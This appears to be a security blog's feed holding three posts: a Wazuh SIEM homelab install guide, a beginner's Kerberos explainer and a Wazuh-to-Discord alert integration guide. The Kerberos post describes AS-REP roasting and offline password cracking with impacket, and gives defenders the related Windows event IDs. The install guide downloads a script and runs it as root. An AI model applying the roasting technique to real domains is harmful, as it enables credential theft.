<p>Now comes the actual mirror selection, just leave this at <code>deb.debian.org</code> and continue.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691878016274/98fd1109-4276-46d5-9574-6920c71833ad.png" alt class="image--center mx-auto" /></p>
<p>If your internet is proxied you can now enter the correct proxy information - if you have not set one up then leaving this blank is most likely the right choice.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691878021776/d826ea0a-3231-433f-a8c0-4d279ee57fdf.png" alt class="image--center mx-auto" /></p>
<p>Now comes the option to share anonymous usage data for the packages you installed/use - I choose <code>No</code> because I don't like telemetry data collection, anonymous or not.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691878026401/0dc1b1b7-2052-4531-9697-47b94fd4c57a.png" alt class="image--center mx-auto" /></p>
<p>The next step is a little confusing if you are doing this for the first time - but fear not you can do it.</p>
<p>This selects your desktop environment (if you want one) - the default setting is <code>Debian desktop environment</code>, <code>GNOME</code>, and <code>standard system utilities</code>. I prefer <code>KDE</code> (taskbar at the bottom, similar to Windows/Mac) over <code>gnome</code> and thus have chosen <code>Debian desktop environment</code>, <code>KDE Plasma</code> and <code>standard system utilities</code>.</p>
<p>You could also get away without the desktop environment and would then probably need the <code>SSH server</code> to connect easily to the VM.</p>
<p>If this interests you let me know in the comments and we can dive deeper into how that setup would look.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691878030355/d13320f4-367b-48b2-a34e-a096b78a5d4d.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-finishing-debian-installation">Finishing debian installation</h2>
<p>The penultimate step is to set up the grub boot loader which is accomplished by choosing yes to the question below.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691878035714/6dff3dba-dc5a-4c0e-a825-cf86021c4445.png" alt class="image--center mx-auto" /></p>
<p>Last but not least we need to install said boot loader on the (only) disk we have and that is the last step of the debian install.</p>
<p>Reboot and login as the user you defined earlier.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691878040087/b5edcb69-9231-4bb1-92fb-2405c0477671.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691878045466/e32852e9-5f70-4037-bcc1-550531fbeadc.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-installing-wazuh-siem">Installing wazuh SIEM</h2>
<p>The first thing you have to do is visit <a target="_blank" href="https://documentation.wazuh.com/current/quickstart.html#installing-wazuh">https://documentation.wazuh.com/current/quickstart.html#installing-wazuh</a> and copy the command shown.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691878049917/caf921dd-ad8f-4aaf-87fe-b7e8a1858389.png" alt class="image--center mx-auto" /></p>
<p>There is one more task before the install process can commence - debian by default does not have curl installed so we need to do that.</p>
<p>You can copy the commands below to get it started.</p>
<pre><code class="lang-bash"><span class="hljs-comment"># first we become root so that we can install packages</span>
su -
<span class="hljs-comment"># next install curl</span>
apt-get install curl
<span class="hljs-comment"># and install wazuh</span>
curl -sO https://packages.wazuh.com/4.5/wazuh-install.sh &amp;&amp; sudo bash ./wazuh-install.sh -a
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691878059436/d472af1e-3467-48ee-8c7a-11d657f2cb8f.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691878090474/f2bd38fb-e6cb-4f91-add1-e7f00920c77b.png" alt class="image--center mx-auto" /></p>
<p>In the end, there will be a username/password combination for you to copy and paste into your password manager.</p>
<p>You are using a password manager, right?! RIGHT!?</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691878097763/32a0e97b-f8c2-4362-bd79-394180f13667.png" alt class="image--center mx-auto" /></p>
<p>Now the installation is finished and if all went well wazuh is running on your machine.</p>
<p>How do you access it?!</p>
<p>Glad you asked, you can either open the browser on the SIEM machine - or if you want to connect remotely type <code>https://&lt;IP_of_your_wazuh_machine&gt;</code>.</p>
<p>There will be an error telling you that the <code>Server's certificate is not trusted</code> which is expected because it does not come from a certificate authority (CA).</p>
<p>You can safely ignore this error and will be greeted by the login screen of wazuh.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691878102419/c99ad85a-4383-4156-958b-f3ccbb1ac6ad.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692966538017/d3e16a05-9018-46e8-9d8f-bad7d327f557.png" alt class="image--center mx-auto" /></p>
<p>After the login wazuh checks the availability of it's APIs and services and once that is done you can see the wazuh dashboard.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691877869643/77e75e4a-04f0-4b13-a24b-b012506091de.png" alt class="image--center mx-auto" /></p>
<p>The dashboard looks like this and while yours will not have any agents registered you can do that next.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692950598094/54bdb0e3-77c7-4d0a-abfa-e5e053c7e80b.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-installing-wazuh-windows-agents">installing wazuh windows agents</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692966974727/65614194-a6b0-4f2e-8371-8a4bd2d54918.png" alt class="image--center mx-auto" /></p>
<p>You will now install a wazuh agent on a windows machine first</p>
<p>Start the Windows VM and open the following URL in your browser</p>
<p><a target="_blank" href="https://documentation.wazuh.com/current/installation-guide/wazuh-agent/wazuh-agent-package-windows.html">https://documentation.wazuh.com/current/installation-guide/wazuh-agent/wazuh-agent-package-windows.html</a></p>
<p>We will use the Graphical User Interface (GUI) of the wazuh agent to set everything up</p>
<p>You can get the installer here:</p>
<pre><code class="lang-bash">https://packages.wazuh.com/4.x/windows/wazuh-agent-4.5.1-1.msi
</code></pre>
<p>You need administrative privileges to set everything up - keep that in mind.</p>
<p>Download and double-click that bad boy as if there is no tomorrow.</p>
<p>and then do the following:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692967809991/3b92da97-1644-4d92-b682-fab9c2798f25.png" alt class="image--center mx-auto" /></p>
<p>You can change the location of the installation via the “advanced” button</p>
<p>but generally, the “Install” button should be your best friend, so click that one</p>
<p>When the installation is finished there is a checkbox that you can try to click on - “Run Agent configuration interface”</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692967987378/dfb9b869-f010-4f5f-85a6-49e6113ef144.png" alt class="image--center mx-auto" /></p>
<p>For me that sometimes works and sometimes does not, here is a trick that always works:</p>
<p>open <code>C:\Program Files\ossec-agent</code></p>
<p>and double click on <code>win32ui.exe</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692968051380/95a7fbad-b452-42a9-a361-124512885043.png" alt class="image--center mx-auto" /></p>
<p>That will spawn a management window where you enter the IP of your SIEM server, click on Save and pray that you get an Authentication Key back</p>
<p>IF not…</p>
<p>You need to make sure that the wazuh-server is running</p>
<ul>
<li>that the machines are on the same subnet / have a working connection</li>
</ul>
<p>If all works:</p>
<p>You should see the agent in your wazuh dashboard if all went well 🥳🎊</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692968087843/29d5a837-219d-4b76-9161-1e4b40db3a68.png" alt class="image--center mx-auto" /></p>
<p>🥳 1 down, 1 to go for today.</p>
<p>Next up is linux.</p>
<h3 id="heading-install-linux-agent">install linux agent</h3>
<p>Installing the agent on a linux system depends a little on which linux distro you are running.</p>
<p>The process starts like this:</p>
<p>Visit <a target="_blank" href="https://documentation.wazuh.com/current/installation-guide/wazuh-agent/wazuh-agent-package-linux.html">https://documentation.wazuh.com/current/installation-guide/wazuh-agent/wazuh-agent-package-linux.html</a></p>
<p>and click on the correct linux 🐧 package manager:</p>
<pre><code class="lang-bash">Hint:
Amazon Linux / CentOS → Yum
Debian-based (e.g. ubuntu/kali) → APT
Container (Alpine) → APK
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692968345571/105adbfd-9e24-4d66-8716-de4a2d1ededb.png" alt class="image--center mx-auto" /></p>
<p>I will show the process with a debian box, so I choose <code>apt</code>.</p>
<p>Now we need to follow the steps for APT in my case (ubuntu/debian)</p>
<p>copy the first command and paste it into your terminal inside the linux VM</p>
<p>then the 2nd</p>
<p>and so on</p>
<p>Don’t forget to press Enter in between 🤓</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692968424253/2347cfaa-a255-48d8-9a3a-484962782e49.png" alt class="image--center mx-auto" /></p>
<p>But what do the commands do?!</p>
<p>First you add the public encryption key to your linux key store (keyring)</p>
<p>Then you add 2 new repositories to your linux source list</p>
<p>The 3rd step updates your local package cache so that you can now use</p>
<p>apt to install the wazuh agent.</p>
<p>There is a teeny-tiny BUT though…</p>
<p>In order to properly connect your SIEM and the agent you need to feed a variable called <code>WAZUH_MANAGER</code> with the SIEM IP into the command</p>
<p>EXCUSE ME - WHAT ARE YOU TALKING ABOUT MR MAIKRO?!</p>
<p>There is some black magic going on behind the scenes that automagically connects your wazuh agent with the SIEM server 🪄</p>
<p>BUT only if you provide the IP address of the server:</p>
<p><code>WAZUH_MANAGER=&lt;IP_HERE&gt; apt-get install wazuh-agent</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692968537151/daba9118-b8c1-4faa-9469-75a29c52f7c7.png" alt class="image--center mx-auto" /></p>
<p>You can however also register the agent after installing by editing</p>
<p><code>/var/ossec/etc/ossec.conf</code></p>
<p>and adding the Manager_IP between the address tags:</p>
<pre><code class="lang-bash">&lt;client&gt;
      &lt;server&gt;
        &lt;address&gt;MANAGER_IP&lt;/address&gt;
                [...]
</code></pre>
<p>Source: <a target="_blank" href="https://documentation.wazuh.com/current/user-manual/agent-enrollment/via-agent-configuration/linux-endpoint.html">https://documentation.wazuh.com/current/user-manual/agent-enrollment/via-agent-configuration/linux-endpoint.html</a></p>
<p>If all went well you can now add the agent service to the auto start services by running three commands:</p>
<p><code>systemctl daemon-reload</code></p>
<p><code>systemctl enable wazuh-agent</code></p>
<p><code>systemctl start wazuh-agent</code></p>
<p>Once that is done you should see the agent appear in your wazuh dashboard</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692968696885/917ad77b-1648-4145-9ea7-1204d5c68769.png" alt class="image--center mx-auto" /></p>
<p>🔥 CONGRATULATIONS 💙</p>
<p>You installed two wazuh agents plus a SIEM in your HomeLab 🎉</p>
]]></content:encoded></item><item><title><![CDATA[How does Kerberos work - an introduction for beginner.]]></title><description><![CDATA[Introduction
Kerberos is an authentication protocol that superseded NTLM with the release of Windows 2000 (technically…)
Technically?!
Well… It's complicated 😅
Long story short - NTLM is still alive and kicking and… it might still be the fall-back s...]]></description><link>https://maikroservice.com/how-does-kerberos-work-an-introduction-for-beginner</link><guid isPermaLink="true">https://maikroservice.com/how-does-kerberos-work-an-introduction-for-beginner</guid><category><![CDATA[hacking]]></category><category><![CDATA[Windows]]></category><category><![CDATA[Active Directory]]></category><category><![CDATA[Kerberos]]></category><category><![CDATA[cybersecurity]]></category><dc:creator><![CDATA[Maik Ro]]></dc:creator><pubDate>Thu, 24 Aug 2023 07:28:23 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1692862399990/29fe892c-fc07-41df-b686-c273d95c2a74.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692860980254/c8d50f28-e5dc-46a2-bc2e-6fad22053861.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-introduction">Introduction</h2>
<p>Kerberos is an authentication protocol that superseded NTLM with the release of Windows 2000 (technically…)</p>
<p>Technically?!</p>
<p>Well… It's complicated 😅</p>
<p>Long story short - NTLM is still alive and kicking and… it might still be the fall-back solution in case Kerberos does not work. 😵</p>
<p>With that in mind let's talk about the moving parts in Kerberos and look at some wireshark pcaps.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692861021297/2f80cd88-1ee9-41fc-b007-d3d29106cd4b.png" alt class="image--center mx-auto" /></p>
<p>This is Kerberos Authentication in a nutshell 🥜</p>
<p>AS-REQ → AS-REP<br />TGS-REQ → TGS-REP</p>
<p>Done.</p>
<p>well…</p>
<p>That's not really explaining it though, is it?!</p>
<p>Ok ok, you are right. Let's try to figure out what those words??? letters! mean..</p>
<h2 id="heading-kerberos-tickets-101">Kerberos Tickets 101</h2>
<p>Kerberos comes from the Greek Cerberus - the three-headed guard dog of the underworld.</p>
<p>We don’t judge and love all puppies 🐶</p>
<p>This particular one has an affinity for tickets.</p>
<p>F*CK balls and toys, it only likes tickets.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692861086925/c8bfce47-a410-42c7-b04c-4a3ca9369325.png" alt class="image--center mx-auto" /></p>
<p>When thinking about tickets, the first thing that comes to our heads is:</p>
<p>theme park!!! 🎉</p>
<p>In order to go into a theme park you need a ticket - the ACCESS ticket</p>
<p>But sometimes, you also need separate tickets to take rides inside the theme park - the ride tickets.</p>
<p>Usually, there is a booth at the entrance of the park where you pay 💰 and show your ID to prove you are of legal age to enter alone 🐣.</p>
<p>This booth is called the KDC.</p>
<h2 id="heading-kdc-key-distribution-center">KDC - Key Distribution Center</h2>
<p>This is the magical 🪄 place that hands out tickets.</p>
<p>The ticket booth consists of two small tents - one checks IDs + gives access tickets (left - AS)</p>
<p>+ The other checks take access tickets + hand out ride tickets (right - TGS).</p>
<p>In the middle is the entrance to the theme park.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692861122033/ee68c444-bdcf-4e6f-a2a1-2ea885660aeb.png" alt class="image--center mx-auto" /></p>
<p>AND in front of it all, sits our little puppy wagging its tail.</p>
<p>Wait but why do we need a ticket from the booth if Kerberos had one under its paw?!</p>
<p>Can’t we just steal it?!<br />And why does it have a different color (golden)?!</p>
<p>Well… I don't know if you are a dog whisperer but for me, this is a big NO NO</p>
<p>I would much rather trade something to get the ticket from mr puppy without hurting myself.</p>
<p>But what does Kerberos like?!</p>
<p>TICKETS!!!</p>
<p>It’s like the cookie monster but instead of cookies 🍪 Kerberos has an unhealthy obsession with tickets 🎫</p>
<p>No steaks, no squeakers, just tickets.</p>
<p>...to get the ticket we need another ticket…</p>
<p>Pheww…</p>
<h2 id="heading-ticket-granting-tickets">Ticket Granting Tickets</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692861163525/aae08de0-5353-4fcd-9f04-0567f629e75c.png" alt class="image--center mx-auto" /></p>
<p>Concerning the colors - We have seen a few different tickets already:</p>
<p>Ticket Granting Ticket (TGT) - access ticket (red)<br />Ticket Granting Service Ticket - single ride ticket (silver)<br />Golden Ticket - VIP pass for all rides (golden)</p>
<p>Now how do we combine all of this into the beautiful mess that we saw earlier?<br />Remember our Wireshark flow?</p>
<p>AS-REQ → AS-REP<br />TGS-REQ → TGS-REP</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692861190918/4914e1e0-e89c-4175-8bcc-3ad7013c3111.png" alt class="image--center mx-auto" /></p>
<p>ok slowly:</p>
<p>AS - Authentication Service - This was the left tent in the KDC picture<br />REQ - Request<br />REP - Response</p>
<p>OHHHHH, that makes sense 🤯<br />But WAIT what about the KRB Error?!</p>
<p>YES, good catch 🫴🏉</p>
<p>Look at the Length of the AS-REQ(uest) - it is 300 Bytes and we receive a KRB5KD_ERR_PREAUTH_REQUIRED</p>
<p>This means that the account that we try to authenticate with does not have the “Does not require preauthentication” flag set.</p>
<p>ok sure… WHAT?!!?</p>
<p>There is a (non-default) setting called “Does not require preauthentication” and if that one is set, this account does NOT require preauthentication.</p>
<p>In essence, this means you can request an access ticket (TGT),</p>
<p>WITHOUT the credentials of the user you are requesting it for.</p>
<p>EXCUSE ME?!</p>
<h2 id="heading-as-rep-roasting-101">AS-REP Roasting 101</h2>
<p>Yeah… there is a technique called AS-REP (GET IT?!?!?!) roasting, which requests an access ticket for users without Kerberos preauth.</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">Keep in mind - while a TGT gets issued by the DC during AS-REP Roasting, this is not a working TGT that can be used to request ride tickets (TGS) - Thx <a target="_blank" href="https://twitter.com/exploitph">@exploitph</a> &amp; @<a target="_blank" href="https://twitter.com/filip_dragovic">filip_dragovic</a></div>
</div>

<p>Back to the Ticket - Why do we want to request a ticket that we know will not be correctly working?</p>
<p>Part of the response is encrypted with the password of the user…</p>
<p>OH DANG…</p>
<p>Yes… They can then be used for offline cracking/brute force guessing of the user password. 😈😅</p>
<p>Hacker use a tool called <code>impacket-getNPUsers.py</code> to get a crackable hash like the one below</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692878635372/cca2a983-2c79-4ab4-8bf6-6298496f00a5.png" alt class="image--center mx-auto" /></p>
<p>Long story short - there is a reason why this “option” is not default!</p>
<p>Be careful BEFORE turning this on.</p>
<p>Back to the Error - We send the ID (credentials) of a user to get a personalized access ticket</p>
<p>→ There is a difference of 80 bytes (300 → 380) between the 1st &amp; the 2nd AS-REQ</p>
<p>If all goes well, the KDC responds w/ an AS-REP (Authentication Service Response) with our access ticket 🎟️</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692861268460/1b196d5f-81f0-4276-a942-eafcbc8af07c.png" alt class="image--center mx-auto" /></p>
<p>Can we see that?!</p>
<p>Sure.</p>
<h2 id="heading-ticket-granting-service-tickets">Ticket Granting Service Tickets</h2>
<p>Looking at the AS-REP in Wireshark shows us that there is a section called “Kerberos”</p>
<p>This one holds the AS-REP section → a part called <code>ticket</code></p>
<p>Another one called cname - the account (<code>CNameString</code>) that requested the ticket (maikroservice), and <code>crealm</code> aka domain (snackempire.home)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692861281906/cde1d9a6-589c-44b8-bfc5-e97105a49eaf.png" alt class="image--center mx-auto" /></p>
<p>The ticket is encrypted and we can see it at the bottom highlighted in blue 💙🙆‍♂️</p>
<p>Wonderful, now we have a Ticket Granting Ticket or as I like to call it “access ticket” 🎟️</p>
<p>For all the defenders and curious people out there:</p>
<p>The request for an access ticket generates an event with <code>ID 4768</code> on the domain controller.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692861295965/ab733c59-8ae8-4646-9157-6e5f1abcc40a.png" alt class="image--center mx-auto" /></p>
<p>Our access ticket gives us access 🤓 to the 2nd tent - the Ticket Granting Service (TGS) 🏕️🔑🎪 → ⛺️🎫</p>
<p>We now present said access ticket to the clerk in the 2nd ticket tent and they will ask one question:</p>
<p>Which ride do you want a ticket for?!</p>
<p>Ooofff….</p>
<p>Which rides are there?!</p>
<p>Great question!<br />I have prepared an overview.</p>
<p>These are often called silver- or service tickets but we can think of them as “rollercoaster tickets” or whichever ride you prefer.</p>
<p>Concerning some of the possible services we can ask them for - 👀 ⬇️</p>
<h2 id="heading-ticket-granting-service-tickets-types-silver-tickets">Ticket Granting Service Tickets Types (Silver Tickets)</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692861328018/9f3d1a7e-772e-4df4-8e88-9fb8413650c3.png" alt class="image--center mx-auto" /></p>
<p><code>HOST</code> - winrm/PowerShell remoting → remote access</p>
<p><code>CIFS</code> - file server/psexec → remote access if the share is writeable</p>
<p><code>HTTP</code> - winrm/PowerShell remoting → remote access</p>
<p><code>LDAP</code> - remote server administration → remote control</p>
<p><code>KRBTGT</code> - GOLDEN TICKET 🎫 → VIP ALL ACCESS PASS 😎🎉</p>
<p>Ooofff... That's a lot.</p>
<p>Ok, slowly!</p>
<p>Ok but what's the process like?!</p>
<p>In Wireshark - in the AS-REP our access ticket is <code>2da8de0621…</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692861281906/cde1d9a6-589c-44b8-bfc5-e97105a49eaf.png" alt class="image--center mx-auto" /></p>
<p>When we now request a ride ticket we send our access ticket in the TGS-REQuest (see below), this is important because it VERIFIES that we are a real user in the domain.</p>
<p>You can see that in our TGS-REQ we send our ticket (cipher) <code>2da8de0621…</code> which allows the Key Distribution Center to verify that we are who we say we are.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692861366066/5991ccd5-0370-45c7-9466-eb14f4184ef6.png" alt class="image--center mx-auto" /></p>
<p>Conceptually, we send our access ticket (TGT) with the name of the requested ride (service) and receive a <code>personalized</code> service/silver/ride ticket back.</p>
<p>This triggers a Windows Security Event #4769 which might be helpful when hunting for hackers 😉</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692861375244/8d60fa85-f222-42ca-9248-9c8828f9e882.png" alt class="image--center mx-auto" /></p>
<p>With the ride ticket in hand, we can now access the theme park and specific rides 🎢 or request a new ride ticket with our access ticket 🎟️</p>
<p>In one of the next posts we walk through RDP and what happens on a packet level.</p>
<p>Stay tuned.</p>
]]></content:encoded></item><item><title><![CDATA[How to connect wazuh and discord: a Step-By-Step Guide.]]></title><description><![CDATA[Wazuh comes with a couple of external integrations by default - among them are Slack, Virustotal, shuffle, and Pagerduty.
The one that I missed was Discord - so I decided to build it. Now you can forward your all or specific alerts to a discord chann...]]></description><link>https://maikroservice.com/how-to-connect-wazuh-and-discord-a-step-by-step-guide</link><guid isPermaLink="true">https://maikroservice.com/how-to-connect-wazuh-and-discord-a-step-by-step-guide</guid><category><![CDATA[hacking]]></category><category><![CDATA[Security]]></category><category><![CDATA[cybersecurity]]></category><dc:creator><![CDATA[Maik Ro]]></dc:creator><pubDate>Mon, 21 Aug 2023 15:35:15 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/nsJeucVd7E0/upload/f552d36d7b23c1e6f6ff5a495638bc62.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Wazuh comes with a couple of external integrations by default - among them are Slack, Virustotal, shuffle, and Pagerduty.</p>
<p>The one that I missed was Discord - so I decided to build it. Now you can forward your all or specific alerts to a discord channel of your choice.</p>
<p>Here is the link to the code required: <a target="_blank" href="https://github.com/maikroservice/wazuh-discord-integration/tree/main">https://github.com/maikroservice/wazuh-discord-integration/</a></p>
<p>In order to get this running you need to do the following steps:</p>
<h2 id="heading-create-discord-server">Create Discord Server</h2>
<p>First up create a discord server if you do not have one yet. In order to do that open Discord and click the big plus button:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692626391147/bdbf8439-ae21-4352-bd1e-e8c1b96e8e40.png" alt class="image--center mx-auto" /></p>
<p>Then choose the <code>Create My Own</code> option and in the next screen select the option that meets your needs - I will choose the <code>For me and my friends</code> option, because this server is for internal use only.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692626419710/33db55b4-ec7c-4874-82d8-302e1a0c3dc8.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692626475974/8e11b767-01cd-4496-af9d-d242609409cb.png" alt class="image--center mx-auto" /></p>
<p>The only thing left to do is to give the server a name.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692626466350/0fd47fcb-bb19-43b3-acbe-a9053470b1af.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-add-a-private-text-channel">Add a private text channel</h3>
<p>You need to either create or choose an existing channel where the alerts should be posted. I created a channel called <code>wazuh-alerts</code> to be explicit about the channel's purpose. Here is how you do that:</p>
<p>First up, click the small <code>+</code> button next to the <code>TEXT CHANNELS</code> - choose a <code>Text</code> channel and make sure to select the <code>Private Channel</code> option at the bottom. You could also directly allow access for specific roles/groups should you wish to do so, or you can skip the selection for now.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692626856282/75bbbe5f-c657-4352-9a67-15fbdae7d068.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692627010095/416dc58f-5057-449e-a02c-25d246f37397.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692627240762/90bc9114-5cdc-4b6a-8f67-71d42c10cc41.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692627311733/06b457f9-57db-4db5-b878-86a1c37bcc89.png" alt class="image--center mx-auto" /></p>
<p>If all goes well you will now see a <code>NEW</code> channel with the correct name on your server.</p>
<h3 id="heading-create-a-webhook-integration">Create a Webhook integration</h3>
<p>You need a webhook to send messages to your server - this is basically a bot member of your server that has the right to post messages in specific channels.</p>
<p>Right-click on your server - choose <code>Server Settings</code> -&gt; <code>Integrations</code> .</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692626949990/052097a6-1255-4fe1-8edb-4d8649a32bb5.png" alt class="image--center mx-auto" /></p>
<p>Then you will see the following screen and need to press the <code>New Webhook</code> button.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692628551317/ad3cfde6-ccea-4e80-aad2-9a994b03244c.png" alt class="image--center mx-auto" /></p>
<p>Give that integration a name and select the channel to receive the alerts. You could also add a picture if you want to but it is not necessary for the next steps to work.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692628764518/5cfe51e9-af34-4b03-89a1-1e229bd20643.png" alt class="image--center mx-auto" /></p>
<p>The important part is the <code>Webhook URL</code>, this is the url that wazuh connects to and sends the alerts. They will then be converted into messages and posted in the discord channel.</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">Keep in mind that anyone with this url can send messages to your chosen channel - protect it as much as you can.</div>
</div>

<p>Copy the Webhook URL and save it for the next step.</p>
<h2 id="heading-register-the-integration-in-wazuh">Register the integration in wazuh</h2>
<ol>
<li>You need to register the integration in wazuh - for that to happen start wazuh, connect to the dashboard and visit the configuration area in the Server management section.</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1738272690361/23e02c11-8290-43e4-9523-a7ff91667ce0.png" alt class="image--center mx-auto" /></p>
<p>Next in the top right click on <code>Edit configuration</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1738272724532/bb3e394b-24be-498c-bd64-a43029057233.png" alt class="image--center mx-auto" /></p>
<p>Now you are editing the <code>ossec.conf</code> located here <code>/var/ossec/etc/ossec.conf</code></p>
<p>Directly under the <code>&lt;/global&gt;</code> tag you can paste the following code:</p>
<pre><code class="lang-xml"> <span class="hljs-tag">&lt;<span class="hljs-name">integration</span>&gt;</span>
     <span class="hljs-tag">&lt;<span class="hljs-name">name</span>&gt;</span>custom-discord<span class="hljs-tag">&lt;/<span class="hljs-name">name</span>&gt;</span>
     <span class="hljs-tag">&lt;<span class="hljs-name">hook_url</span>&gt;</span>https://discord.com/api/webhooks/XXXXXXXXXXX<span class="hljs-tag">&lt;/<span class="hljs-name">hook_url</span>&gt;</span>
     <span class="hljs-tag">&lt;<span class="hljs-name">alert_format</span>&gt;</span>json<span class="hljs-tag">&lt;/<span class="hljs-name">alert_format</span>&gt;</span>
 <span class="hljs-tag">&lt;/<span class="hljs-name">integration</span>&gt;</span>
</code></pre>
<p>The name needs to start with <code>custom-</code> - which took me the better part of an hour to debug... 😅</p>
<p>Now you do not have to make the same mistake.</p>
<p>When done correctly it should look like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692630510447/c6c9291d-f625-4338-b643-059799237dec.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-add-your-discord-webhook-url">Add your discord webhook url</h3>
<p>The last step in the configuration section is to add the correct webhook url between <code>&lt;hook_url&gt;</code> and <code>&lt;/hook_url&gt;</code>. Once that is done you need to click the <code>Save</code> button and then click on the <code>Restart Manager</code> button afterwards, You should see a popup asking you to confirm the operation - click on <code>Confirm</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1738272903860/d1029620-2463-441b-b952-638cc5cda7cc.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1738273018234/e503b7c3-fada-4311-bc09-d8d785c7e323.png" alt class="image--center mx-auto" /></p>
<p>Once that is done - your wazuh instance will tell you that the manager is restarting and once the <code>Restarting Manager</code> button turns blue again you are good to continue to the terminal for the final two steps.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1738273025483/73fe4927-6a5c-4fbd-8490-073787f502b9.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-set-up-wazuh-integration">Set up wazuh integration</h2>
<p>Wazuh's integrations are located in <code>/var/ossec/integrations</code> - You will see 7 files there already.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692694139602/26992767-3753-4e87-a842-0605a6b4fe0d.png" alt class="image--center mx-auto" /></p>
<p>Most integrations consist of two files - one Python file (e.g. slack.py) and one bash script (slack).</p>
<p>You need to add two files now: <code>custom-discord</code> and <code>custom-discord.py</code> - copy and paste the files from GitHub (<a target="_blank" href="https://github.com/maikroservice/wazuh-discord-integration/tree/main">https://github.com/maikroservice/wazuh-discord-integration/</a>) into this folder. Next, use the following commands to change the permissions and adjust the ownership of the two files.</p>
<pre><code class="lang-bash">sudo chmod 750 /var/ossec/integrations/custom-*
sudo chown root:wazuh /var/ossec/integrations/custom-*
</code></pre>
<p>The folder should now look like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1738272805164/856aeb1f-ec4a-4263-b733-9c439a21c504.png" alt class="image--center mx-auto" /></p>
<p>Once that is done make sure that pip is setup correctly and has the <code>requests</code> library installed.</p>
<pre><code class="lang-bash">
<span class="hljs-comment"># debian / ubuntu</span>
sudo apt-get install python3-pip
pip3 install requests

